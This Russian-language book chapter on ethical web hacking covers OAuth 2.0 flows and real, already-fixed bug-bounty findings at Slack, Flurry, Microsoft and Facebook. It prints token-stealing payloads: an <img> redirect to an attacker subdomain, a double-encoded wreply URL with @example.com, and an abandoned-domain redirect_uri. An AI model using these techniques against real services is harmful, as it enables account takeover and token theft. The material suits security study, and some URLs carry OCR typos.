OAuth — это открытый протокол, который упрощает и стандартизирует безопасную авторизацию в вебе, на мобильных устройствах и в настольных приложениях. Он позволяет регистрироваться без указания имени пользователя и пароля. На сайтах он часто имеет вид кнопки для входа с помощью Facebook, Google, LinkedIn, Twitter и т. д. Уязвимости в OAuth связаны с конфигурацией приложения и возникают в результате ошибок в реализации. Учитывая их последствия и распространенность, они заслуживают обсуждения.
Несмотря на множество разновидностей, мы сделаем акцент на случаях, когда уязвимость в OAuth позволяет похитить аутентификационные токены и получить доступ к информации о жертве на сервере ресурса.
На момент написания у OAuth есть две версии, 1.0a и 2.0, которые несовместимы друг с другом. По OAuth написаны целые книги, но эта глава фокусируется на OAuth 2.0 и базовом рабочем процессе OAuth.
Перед тобой — 17 глава из книги «Ловушка для багов. Полевое руководство по веб‑хакингу», которую мы публикуем с разрешения издательства «Питер».
Эта книга поможет в совершенствовании скиллов работы с вебом и рассказывает о методологии этичного веб‑хакинга. Читается она отлично, словно детективный рассказ. Каждая описываемая уязвимость имеет параметры: сложность, атакованный URL, URL страницы, где хакер описал проведенную атаку, дата подачи отчета и сумма выплаченного хакеру вознаграждения. Среди прочего, есть описание удачного взлома PornHub.com.
Если бы здесь было только описание совершенных атак, то книга бы не имела практического применения. Поэтому автор анализирует каждое действие взломщика, выполненное им для достижения результата. Читателю не составит труда повторить описанные операции.
Для самых зеленых хакеров в книге есть глава, в которой целиком описывается операция проведения взлома веб‑ресурса, разобран каждый этап, среди которых: разведка перед атакой, составление списка поддоменов, сканирование портов, обнаружение содержимого, определение стека технологий и прочее.
А на сладкое припасены два приложения. В первом приведено описание используемых хакером приложений, а во втором даются ссылки на дополнительные видео и текстовые материалы по взлому сайтов.
В процессе аутентификации на основе OAuth участвуют три стороны:
При попытке аутентификации с помощью OAuth клиент запрашивает доступ к вашей информации у сервера ресурса (в данном случае у вас). Его может интересовать полный набор ваших данных или их часть, ограниченная областями видимости. Например, пользователи в Facebook имеют такие области видимости, как email
, public_profile
, user_friends
и т. д. Если выдать клиенту доступ только к email, он не сможет получить содержимое вашего профиля, список друзей и т. п.
Процесс первого входа в клиент с использованием Facebook в качестве демонстрационного сервера ресурса начинается, когда вы открываете страницу клиента и нажимаете кнопку Войти через Facebook. Клиент выполняет GET- запрос к конечной точке аутентификации, которая часто имеет такой путь: https://www.<example>.com/oauth/facebook/
. Shopify, к примеру, использует для OAuth страницу Google с URL-адресом https://<STORE>.myshopify.com/admin/auth/login?google_apps=1/
.
В ответ на этот HTTP-запрос клиент перенаправляет вас к серверу ресурса, используя код 302. URL-адрес страницы перенаправления содержит следующие параметры, участвующие в процессе аутентификации:
client_id
идентифицирует клиент на сервере ресурса уникальным значением.redirect_uri
определяет, куда сервер ресурса должен направить браузер владельца после его аутентификации.response_type
определяет тип возвращаемого ответа. Обычно это токен или код. В случае возвращения токена пользователь сразу же получает доступ к информации на сервере ресурса. Если вы получили код, его нужно обменять на токен в ходе дополнительного этапа OAuth.state
— это случайное значение, предотвращающее подделку межсайтовых запросов. Оно должно присутствовать в HTTP-запросе к серверу ресурса. Это значение возвращается клиенту, чтобы злоумышленник не смог инициировать процесс аутентификации от имени другого пользователя.URL-адрес, инициирующий процедуру OAuth с помощью Facebook, выглядит примерно так:
https://www.facebook.com/v2.0/dialog/oauth?dientjd=123&redirect_uri=https%3A%2F%2Fwww.<example>.com%2Foauth%2FcaNback&response_type=token&scope=email&state=XYZ
Получив ответ с кодом перенаправления 302, браузер отправляет серверу ресурса GET-запрос. Войдя на сервер ресурса, вы увидите диалоговое окно, с помощью которого можно одобрить области видимости, запрашиваемые клиентом. На рис. 17.2 показано, как веб‑сайт Quora (клиент) запрашивает доступ к информации у Facebook (сервера ресурса) от имени владельца ресурса.
Нажатие кнопки Continue as John (Продолжить как Джон) приводит к одобрению запроса сайта Quora на получение доступа к перечисленным областям видимости, включая профиль, список пользователей, дату рождения, родной город владельца ресурса и прочие сведения. Когда владелец нажмет кнопку, Facebook вернет HTTP-ответ с кодом 302, который перенаправит браузер обратно к странице с URL-адресом, указанным в параметре redirect_uri. Этот адрес также содержит токен и параметр state. Адрес перенаправления из Facebook в Quora может выглядеть так (изменено в целях демонстрации):
https://www.quora.com?access_token=EAAMH86O7bQBMpUu2ZBTuEo0MZA5xBXTQixBUYxrauhNqFtdxViQQ3CwtliGtKqljBZA8&expires_in=5625&state=F32AB83299DADDBAACD82DA
Сервер Facebook вернул токен access_token, с помощью которого клиент Quora мог сразу же получить доступ к информации о владельце ресурса. На этом участие владельца в процедуре OAuth завершено. Теперь клиент может напрямую обращаться к Facebook API за нужной ему пользовательской информацией.
Владелец сможет дальше использовать клиент, не зная о его взаимодействии с API-интерфейсом.
Но если бы вместо access_token
сайт Facebook вернул код, клиенту Quora пришлось бы обменять его на токен, иначе он бы не смог запрашивать информацию у сервера ресурса. Для этого клиент и сервер взаимодействуют напрямую, без участия браузера владельца. Чтобы получить токен, клиент сам выполняет HTTP-запрос к серверу ресурса и передает в URL-адресе три параметра: code (код доступа) client_id
и client_secret
. Код доступа — это значение, которое сервер вернул через HTTP-перенаправление со статусом 302. Параметр client_secret
является конфиденциальным и должен храниться на стороне клиента. Он генерируется сервером ресурса на этапе конфигурации приложения и назначения client_id
.
Наконец, получив от клиента запрос с параметрами client_secret
, client_id
и code
, сервер проверяет эти значения и возвращает в ответ access_token
. После этого клиент получает возможность запрашивать у сервера информацию о владельце ресурса, и процедура OAuth считается завершенной. Обычно, если вы уже разрешили серверу ресурса предоставлять вашу информацию, при следующем входе в клиент через Facebook процедура OAuth выполняется в фоновом режиме. Это взаимодействие можно будет наблюдать только в случае мониторинга HTTP-запросов. Это поведение по умолчанию. Клиент может его изменить так, чтобы владелец ресурса заново аутентифицировался и одобрял области видимости, но это большая редкость.
То, насколько серьезной является уязвимость в OAuth, зависит от одобренных областей видимости, связанных с токеном. В этом вы сами убедитесь на следующих примерах.
Одна из распространенных уязвимостей в OAuth возникает, когда разработчик неправильно настраивает или сравнивает допустимые параметры redirect_uri
, позволяя злоумышленникам похитить OAuth-токены. Прахар Прасад информировал компанию Slack о том, что он может обойти ограничения, указанные в разрешенном адресе redirect_uri
, за счет добавления к нему любых значений. Иными словами, сайт Slack проверял лишь начало параметра redirect_uri
. Если разработчик регистрировал в Slack новое приложение и добавлял в белый список https://www.<example>.com
, злоумышленник мог расширить этот URL-адрес и выполнить перенаправление в непредвиденное место. Например, измененный адрес вида redirect_uri=https://<attacker>.com
отклонялся, но позволял передать redirect_uri=https://www.<example>.com.mx
.
Чтобы этим воспользоваться, злоумышленнику было достаточно создать подходящий поддомен на своем вредоносном сайте. Если жертва открывала зараженный URL-адрес, сервер Slack передавал OAuth-токен сайту злоумышленника. Хакер мог инициировать запрос от имени жертвы, встроив во вредоносную веб‑страницу тег <img>
вроде такого:
<img src=https://slack.com/oauth/authonze?responseJype=token&dientJd=APP_ID&redirect_un=https://www.example.com.attacker.com>
Это позволило бы автоматически сделать HTTP-запрос типа GET при отображении страницы.
Уязвимости, связанные с недостаточно строгой проверкой redirect_uri
, являются распространенным примером неправильной конфигурации OAuth. Иногда это вызвано тем, что в качестве допустимого значения redirect_uri
регистрируется домен вида *.<example>.com
. Иногда причина в том, что сервер ресурса не проводит строгую проверку параметра redirect_uri
от начала и до конца. При поиске уязвимостей в OAuth проверяйте любые параметры, которые могут участвовать в перенаправлении.
Поиск уязвимостей в любой реализации OAuth подразумевает исследование всей процедуры аутентификации, от начала и до конца. Для этого в том числе необходимо распознать HTTP-запросы, которые не являются частью стандартного процесса; их наличие часто сигнализирует о том, что разработчик изменил механизм аутентификации и, возможно, сделал его уязвимым. Джек Кейбл столкнулся с подобной ситуацией в работе с программой Bug Bounty от Yahoo, в которую входил аналитический сайт Flurry.com.
Чтобы начать тестирование, Кейбл зарегистрировал учетную запись на сайте Flurry, используя свой адрес электронной почты @yahoo.com
и реализацию OAuth от Yahoo. После того как Flurry и Yahoo согласовали OAuth-токен, заключительный POST-запрос к сайту Flurry выглядел так:
POST /auth/v1/account HTTP/1.1Host: auth.flurry.comConnection: closeContent-Length: 205Content-Type: application/vnd.api+jsonDNT: 1Referer: https://login.flurry.com/signupAccept-Language: en-US, en;q=0.8,la;q=0.6{"data":{"type":"account","id":"...","attributes":{"email":"...@yahoo.com","companyName":"1234","firstname":"]ack","lastname":"cable","password":"not-provided"}}}
Внимание Кейбла привлек фрагмент запроса "password":"not-provided"
. Выйдя из своей учетной записи, он открыл страницу https://login.flurry.com/ и аутентифицировался не через OAuth, а с помощью почтового адреса и пароля not-provided
. Это сработало, и Кейбл смог войти в свою учетную запись.
Когда пользователь регистрировался на сайте Flurry с помощью своей учетной записи Yahoo и процедуры OAuth, система создавала для него отдельную клиентскую учетную запись с паролем по умолчанию not-provided
. Кейбл сообщил об уязвимости, и проблема была устранена через пять часов.
Нестандартные этапы OAuth часто плохо сконфигурированы и подвержены уязвимостям, поэтому заслуживают проверки.
На сайте Microsoft не реализована стандартная процедура OAuth, но там используется очень похожий процесс, который подходит для тестирования OAuth-приложений. Тестируя OAuth или аналогичные механизмы аутентификации, тщательно проанализируйте то, как проверяются параметры перенаправления. Для этого приложению можно передавать разные виды URL-адресов. Этот подход помог Джеку Уиттону найти в процедуре входа на сайт Microsoft способ похитить аутентификационные токены.
Компания Microsoft владеет множеством проектов, поэтому запросы для аутентификации пользователей на разных сервисах направляются разным доменам: login.live.com
, login.microsoftonline.com
или login.windows.net
. Эти запросы возвращают пользователям сессии. Например, в случае с outlook.office.com
процедура выглядит так:
https://login.microsoftonline.com/login.srf?wa=wsignin1.0&rpsnv=4&wreply=https%3a%2f%2fbutlook.office.com%2fowa%2f&id=260563
.wreply
выполняется POST-запрос с параметром t
, который содержит токен для пользователя.При попытке поменять wreply
на любой другой домен возникала ошибка. Уиттон попробовал передавать символы с двойным кодированием, добавляя в конец URL-адреса %252f
, чтобы получить https%3a%2f%2foutlook.office.com%252f
. В этом URL-адресе специальные символы :
и /
кодируются как %3a
и, соответственно, %2f
. Кроме того, в исходном адресе следует закодировать знак процента (%
), чтобы при двойном кодировании он превратился в косую черту %252f
(кодирование специальных символов обсуждалось в разделе «Разделение HTTP-ответа в Twitter» на с. 77). Когда Уиттон подставил вместо wreply
полученный URL-адрес, приложение вернуло ошибку, сообщающую, что адрес https://outlook.office.com%f
не корректен.
Вслед за этим Уиттон добавил к домену @example.com
и вместо ошибки получил https://outlook.office.com%2f@example.com/?wa=wsignin1.0
. Дело в том, что URL-адрес имеет следующую структуру: [//[имя_пользователя:пароль@]домен[:порт]][/]путь[?запрос][#фрагмент]
. Имя пользователя и пароль участвуют в базовой HTTP-аутентификации сайта. Поэтому после добавления @example.com
домен для перенаправления больше не выглядел как outlook.office.com
. Вместо этого пользователя можно было перенаправить к любому домену, который контролировался злоумышленником.
По словам Уиттона, причиной этой уязвимости было то, что сайт Microsoft выполнял декодирование и проверку URL-адреса в два этапа. На первом этапе сайт проверял, является ли доменное имя корректным и соответствует ли оно структуре URL-адреса. Адрес https://outlook.office.com%2f@example.com
успешно проходил проверку, поскольку строка outlook.office.com%2f
воспринималась как корректное имя пользователя.
На втором этапе сайт рекурсивно декодировал URL-адрес. Строкаhttps%3a%2f%2foutlook.office.com%252f@example.com
превращалась в https:// outlook.office.com/@example.com
, то есть фрагмент @example.com
после косой черты интерпретировался как часть пути, а доменное имя выглядело как outlook.office.com
.
Сайт Microsoft проверял структуру URL-адреса, декодировал его и подтверждал его присутствие в белом списке. Но в качестве ответа возвращался адрес, декодированный один раз. То есть при посещении такого URL токен жертвы отправлялся сайту example.com.
https://login.microsoftonline.com/login.srf?wa=wsignin1.0&rpsnv=4&wreply=https%3a%2f%2foutlook.office.com%252f@example.com&id=260563
Хакер, владевший этим сайтом, мог войти в сервис Microsoft, к которому относился полученный токен, и читать учетные записи других пользователей.
В ходе исследования параметров перенаправления в процедуре OAuth добавьте к конечному URI-адресу @example.com
и посмотрите, как поведет себя приложение. Это особенно актуально, если в процессе аутентификации используются закодированные символы, которые должны быть декодированы перед проверкой вхождения URL-адреса в белый список. Во время тестирования обращайте внимание на незначительные изменения в поведении сайта.
При поиске уязвимостей обращайте внимание на ресурсы интересующего вас приложения, о которых разработчики могли забыть. Филиппе Хэйрвуд поставил перед собой цель: похитить токен пользователя Facebook и получить доступ к его конфиденциальной информации. Однако ему не удалось найти никаких ошибок в реализации OAuth на сайте Facebook. Не отчаявшись, он поменял свой план и начал искать приложение Facebook, которое можно захватить как поддомен.
Он знал, что Facebook владеет приложениями, которые автоматически авторизуются с помощью OAuth, используя учетные записи этой платформы. С их списком можно было ознакомиться на странице https://www.facebook.com/search/me/apps-used/.
В списке Хэйрвуд нашел один проект, который по‑прежнему был авторизован, хотя компания Facebook им больше не владела и не использовала его домен. Это означало, что Хэйрвуд мог зарегистрировать одобренное доменное имя в качестве параметра redirect_uri
и получить токен любого пользователя Facebook, который посещал конечную точку авторизации OAuth:
https://facebook.com/v2.5/dialog/oauth?response_type=token&display=popup&clientJd=APP_ID&redirect_uri=REDIRECT_URI/
В этом URL-адресе идентификатор уязвимого приложения обозначен в виде параметра APP_ID
, который предоставлял доступ ко всем областям видимости OAuth. Домен, входивший в белый список, обозначен как REDIRECT_URI
(Хэйрвуд не уточнил, какое именно приложение было неправильно сконфигурировано). Поскольку приложение уже было авторизовано для каждой учетной записи Facebook, при щелчке по этой ссылке пользователю не нужно было подтверждать запрашиваемые области видимости. Кроме того, вся процедура OAuth выполнялась посредством фоновых HTTP-запросов. Открыв этот URL-адрес для аутентификации на сайте Facebook, пользователь перенаправлялся к странице с подобным адресом http://REDIRECT_URI/#token=сюда_добавлялся_токен/
.
Поскольку Хэйрвуд зарегистрировал домен REDIRECT_URI
, он мог записывать токены любых пользователей, открывавших этот URL-адрес, что давало ему доступ к их учетным записям на сайте Facebook. Кроме того, все официальные токены Facebook имели доступ к другим приложениям этой компании, таким как Instagram. В итоге Хэйрвуд мог аутентифицироваться на этих сайтах от имени жертвы.
При поиске уязвимостей обращайте внимание на ресурсы, о которых могли забыть владельцы сайта. Иногда это могут быть записи CNAME для поддоменов и зависимости приложений, такие как Ruby Gems, библиотеки JavaScript и т. д. Перед началом тестирования ставьте перед собой четкую цель. В ходе исследования крупного приложения это позволит не отвлекаться на проверку его бесчисленных аспектов.
Несмотря на то что процедура аутентификации OAuth является стандартизированной, разработчики могут допустить ошибку в ее конфигурации. Неочевидные уязвимости позволяют злоумышленнику похитить токены авторизации и получить доступ к конфиденциальным данным жертвы. Исследуя приложения с поддержкой OAuth, тщательно исследуйте параметр redirect_uri
, чтобы понять, несколько корректно приложение его проверяет при отправке токенов. Ищите нестандартные механизмы аутентификации на основе процедуры OAuth, которые подвержены уязвимостям. Если вам не удается найти ничего подозрительного, не забудьте проверить одобренные ресурсы. Возможно, разработчики забыли о каком‑то приложении, которому клиент доверяет по умолчанию.
Читайте также
Последние новости